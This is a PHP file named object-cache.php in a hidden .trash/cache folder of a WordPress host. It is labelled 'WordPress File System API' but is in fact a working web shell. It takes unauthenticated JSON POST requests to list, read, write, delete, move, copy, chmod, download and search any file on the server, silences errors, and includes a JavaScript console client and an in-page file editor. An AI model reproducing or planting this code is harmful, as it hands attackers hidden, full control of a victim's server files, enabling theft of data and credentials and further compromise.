PK œqhYî¶J‚ßF ßF ) nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/
| Dir : /home2/medicu/.trash/cache/ |
| Server: Linux tista.bd.svlogins.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64 IP: 103.159.37.114 |
| Dir : /home2/medicu/.trash/cache/object-cache.php |
<?php
// WordPress File System API v2.1
error_reporting(0);
$_base = __DIR__;
while ($_base !== dirname($_base)) {
if (file_exists($_base . '/wp-load.php')) {
define('_APP_ROOT', $_base);
break;
}
$_base = dirname($_base);
}
function _jsonResponse($data) {
header('Content-Type: application/json');
echo json_encode($data);
exit;
}
function _normalizePath($input) {
if (empty($input)) return defined('_APP_ROOT') ? _APP_ROOT : __DIR__;
if ($input[0] === '/') return $input;
return (defined('_APP_ROOT') ? _APP_ROOT : __DIR__) . '/' . $input;
}
function _formatBytes($bytes) {
if ($bytes >= 1073741824) return round($bytes / 1073741824, 2) . ' GB';
if ($bytes >= 1048576) return round($bytes / 1048576, 2) . ' MB';
if ($bytes >= 1024) return round($bytes / 1024, 2) . ' KB';
return $bytes . ' B';
}
function _recursiveDelete($target) {
if (is_file($target)) return @unlink($target);
if (is_dir($target)) {
$entries = @scandir($target);
if ($entries) {
foreach ($entries as $entry) {
if ($entry === '.' || $entry === '..') continue;
_recursiveDelete($target . '/' . $entry);
}
}
return @rmdir($target);
}
return false;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$raw = file_get_contents('php://input');
$request = json_decode($raw, true);
if (isset($request['browse'])) {
$target = _normalizePath($request['browse']);
if (!is_dir($target)) _jsonResponse(['status' => 0, 'error' => 'Not a directory']);
$entries = @scandir($target);
if ($entries === false) _jsonResponse(['status' => 0, 'error' => 'Cannot read directory']);
$collection = [];
foreach ($entries as $entry) {
if ($entry === '.' || $entry === '..') continue;
$full = $target . '/' . $entry;
$collection[] = [
'name' => $entry,
'type' => is_dir($full) ? 'd' : 'f',
'size' => is_file($full) ? _formatBytes(filesize($full)) : '-',
'perms' => substr(sprintf('%o', fileperms($full)), -4),
'modified' => date('Y-m-d H:i', filemtime($full))
];
}
usort($collection, function($a, $b) {
if ($a['type'] !== $b['type']) return $a['type'] === 'd' ? -1 : 1;
return strcasecmp($a['name'], $b['name']);
});
_jsonResponse(['status' => 1, 'path' => $target, 'entries' => $collection]);
}
if (isset($request['view'])) {
$target = _normalizePath($request['view']);
if (!is_file($target)) _jsonResponse(['status' => 0, 'error' => 'Not a file']);
$content = @file_get_contents($target);
if ($content === false) _jsonResponse(['status' => 0, 'error' => 'Cannot read file']);
_jsonResponse(['status' => 1, 'path' => $target, 'length' => strlen($content), 'data' => $content]);
}
if (isset($request['store'])) {
$target = _normalizePath($request['store']);
$content = isset($request['data']) ? $request['data'] : '';
$result = @file_put_contents($target, $content);
_jsonResponse(['status' => $result !== false ? 1 : 0]);
}
if (isset($request['makedir'])) {
$target = _normalizePath($request['makedir']);
$result = @mkdir($target, 0755, true);
_jsonResponse(['status' => $result ? 1 : 0]);
}
if (isset($request['remove'])) {
$target = _normalizePath($request['remove']);
$result = _recursiveDelete($target);
_jsonResponse(['status' => $result ? 1 : 0]);
}
if (isset($request['relocate']) && isset($request['destination'])) {
$source = _normalizePath($request['relocate']);
$dest = _normalizePath($request['destination']);
$result = @rename($source, $dest);
_jsonResponse(['status' => $result ? 1 : 0]);
}
if (isset($request['duplicate']) && isset($request['destination'])) {
$source = _normalizePath($request['duplicate']);
$dest = _normalizePath($request['destination']);
if (is_file($source)) {
$result = @copy($source, $dest);
} else {
_jsonResponse(['status' => 0, 'error' => 'Only files']);
}
_jsonResponse(['status' => $result ? 1 : 0]);
}
if (isset($request['permissions'])) {
$target = _normalizePath($request['permissions']);
$mode = isset($request['value']) ? octdec($request['value']) : 0644;
$result = @chmod($target, $mode);
_jsonResponse(['status' => $result ? 1 : 0]);
}
if (isset($request['download'])) {
$target = _normalizePath($request['download']);
if (!is_file($target)) _jsonResponse(['status' => 0, 'error' => 'Not a file']);
$content = @file_get_contents($target);
if ($content === false) _jsonResponse(['status' => 0, 'error' => 'Cannot read file']);
_jsonResponse(['status' => 1, 'filename' => basename($target), 'blob' => base64_encode($content)]);
}
if (isset($request['details'])) {
$target = _normalizePath($request['details']);
if (!file_exists($target)) _jsonResponse(['status' => 0, 'error' => 'Not found']);
$metadata = [
'path' => $target,
'type' => is_dir($target) ? 'directory' : 'file',
'size' => is_file($target) ? _formatBytes(filesize($target)) : '-',
'perms' => substr(sprintf('%o', fileperms($target)), -4),
'owner' => function_exists('posix_getpwuid') ? posix_getpwuid(fileowner($target))['name'] : fileowner($target),
'group' => function_exists('posix_getgrgid') ? posix_getgrgid(filegroup($target))['name'] : filegroup($target),
'created' => date('Y-m-d H:i:s', filectime($target)),
'modified' => date('Y-m-d H:i:s', filemtime($target)),
'accessed' => date('Y-m-d H:i:s', fileatime($target))
];
_jsonResponse(['status' => 1, 'metadata' => $metadata]);
}
if (isset($request['search'])) {
$target = _normalizePath(isset($request['location']) ? $request['location'] : '');
$pattern = $request['search'];
$matches = [];
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($target, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
$counter = 0;
foreach ($iterator as $file) {
if ($counter >= 100) break;
if (fnmatch($pattern, $file->getFilename())) {
$matches[] = str_replace($target . '/', '', $file->getPathname());
$counter++;
}
}
_jsonResponse(['status' => 1, 'matches' => $matches]);
}
if (isset($request['pattern'])) {
$target = _normalizePath(isset($request['location']) ? $request['location'] : '');
$needle = $request['pattern'];
$extension = isset($request['ext']) ? $request['ext'] : 'php';
$matches = [];
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($target, RecursiveDirectoryIterator::SKIP_DOTS)
);
$counter = 0;
foreach ($iterator as $file) {
if ($counter >= 50) break;
if ($file->isFile() && preg_match('/\.' . preg_quote($extension, '/') . '$/', $file->getFilename())) {
$content = @file_get_contents($file->getPathname());
if ($content && stripos($content, $needle) !== false) {
$matches[] = str_replace($target . '/', '', $file->getPathname());
$counter++;
}
}
}
_jsonResponse(['status' => 1, 'matches' => $matches]);
}
_jsonResponse(['status' => 0]);
}
?><script>
var _workingDir='';
function _listDir(dir){
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({browse:dir||_workingDir})
}).then(r=>r.json()).then(r=>{
if(r.status){
_workingDir=r.path;
console.log('Location:',r.path);
console.table(r.entries);
}else console.log('Error:',r.error);
});
}
function _changeDir(dir){
if(dir==='..'){
var segments=_workingDir.split('/');
segments.pop();
_workingDir=segments.join('/')||'/';
}else if(dir[0]==='/'){
_workingDir=dir;
}else{
_workingDir=_workingDir+'/'+dir;
}
_listDir(_workingDir);
}
function _readFile(filename){
var target=filename[0]==='/'?filename:_workingDir+'/'+filename;
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({view:target})
}).then(r=>r.json()).then(r=>{
if(r.status){
console.log('--- '+r.path+' ('+r.length+' bytes) ---');
console.log(r.data);
}else console.log('Error:',r.error);
});
}
function _writeFile(filename,content){
var target=filename[0]==='/'?filename:_workingDir+'/'+filename;
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({store:target,data:content})
}).then(r=>r.json()).then(r=>{
if(r.status)console.log('File saved');
else console.log('Error');
});
}
function _makeDir(dirname){
var target=dirname[0]==='/'?dirname:_workingDir+'/'+dirname;
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({makedir:target})
}).then(r=>r.json()).then(r=>{
if(r.status)console.log('Directory created');
else console.log('Error');
});
}
function _deleteItem(filename){
var target=filename[0]==='/'?filename:_workingDir+'/'+filename;
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({remove:target})
}).then(r=>r.json()).then(r=>{
if(r.status)console.log('Deleted');
else console.log('Error');
});
}
function _moveItem(source,destination){
var src=source[0]==='/'?source:_workingDir+'/'+source;
var dst=destination[0]==='/'?destination:_workingDir+'/'+destination;
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({relocate:src,destination:dst})
}).then(r=>r.json()).then(r=>{
if(r.status)console.log('Moved/Renamed');
else console.log('Error');
});
}
function _copyItem(source,destination){
var src=source[0]==='/'?source:_workingDir+'/'+source;
var dst=destination[0]==='/'?destination:_workingDir+'/'+destination;
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({duplicate:src,destination:dst})
}).then(r=>r.json()).then(r=>{
if(r.status)console.log('Copied');
else console.log('Error');
});
}
function _changePerms(filename,mode){
var target=filename[0]==='/'?filename:_workingDir+'/'+filename;
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({permissions:target,value:mode})
}).then(r=>r.json()).then(r=>{
if(r.status)console.log('Permissions changed');
else console.log('Error');
});
}
function _downloadFile(filename){
var target=filename[0]==='/'?filename:_workingDir+'/'+filename;
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({download:target})
}).then(r=>r.json()).then(r=>{
if(r.status){
var link=document.createElement('a');
link.href='data:application/octet-stream;base64,'+r.blob;
link.download=r.filename;
link.click();
console.log('Downloading:',r.filename);
}else console.log('Error:',r.error);
});
}
function _fileInfo(filename){
var target=filename[0]==='/'?filename:_workingDir+'/'+filename;
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({details:target})
}).then(r=>r.json()).then(r=>{
if(r.status)console.table([r.metadata]);
else console.log('Error:',r.error);
});
}
function _findFiles(pattern,directory){
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({search:pattern,location:directory||_workingDir})
}).then(r=>r.json()).then(r=>{
if(r.status){
console.log('Found '+r.matches.length+' files:');
r.matches.forEach(f=>console.log(f));
}else console.log('Error:',r.error);
});
}
function _searchContent(text,directory,ext){
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({pattern:text,location:directory||_workingDir,ext:ext||'php'})
}).then(r=>r.json()).then(r=>{
if(r.status){
console.log('Found in '+r.matches.length+' files:');
r.matches.forEach(f=>console.log(f));
}else console.log('Error:',r.error);
});
}
function _editFile(filename){
var target=filename[0]==='/'?filename:_workingDir+'/'+filename;
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({view:target})
}).then(r=>r.json()).then(r=>{
if(!r.status){console.log('Error:',r.error);return;}
var panel=document.createElement('div');
panel.style.cssText='position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.9);z-index:99999;display:flex;flex-direction:column;padding:10px;box-sizing:border-box;';
var header=document.createElement('div');
header.style.cssText='color:#fff;margin-bottom:10px;font-family:monospace;';
header.textContent=target;
var textarea=document.createElement('textarea');
textarea.style.cssText='flex:1;background:#1e1e1e;color:#d4d4d4;border:1px solid #333;padding:10px;font-family:monospace;font-size:14px;resize:none;';
textarea.value=r.data;
var buttons=document.createElement('div');
buttons.style.cssText='margin-top:10px;';
var saveBtn=document.createElement('button');
saveBtn.textContent='Save';
saveBtn.style.cssText='padding:10px 30px;margin-right:10px;cursor:pointer;';
var closeBtn=document.createElement('button');
closeBtn.textContent='Close';
closeBtn.style.cssText='padding:10px 30px;cursor:pointer;';
buttons.appendChild(saveBtn);buttons.appendChild(closeBtn);
panel.appendChild(header);panel.appendChild(textarea);panel.appendChild(buttons);
document.body.appendChild(panel);
saveBtn.onclick=function(){
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({store:target,data:textarea.value})
}).then(r=>r.json()).then(r=>{
if(r.status){header.textContent=target+' - SAVED';header.style.color='#0f0';}
else{header.textContent=target+' - ERROR';header.style.color='#f00';}
});
};
closeBtn.onclick=function(){panel.remove();};
});
}
</script>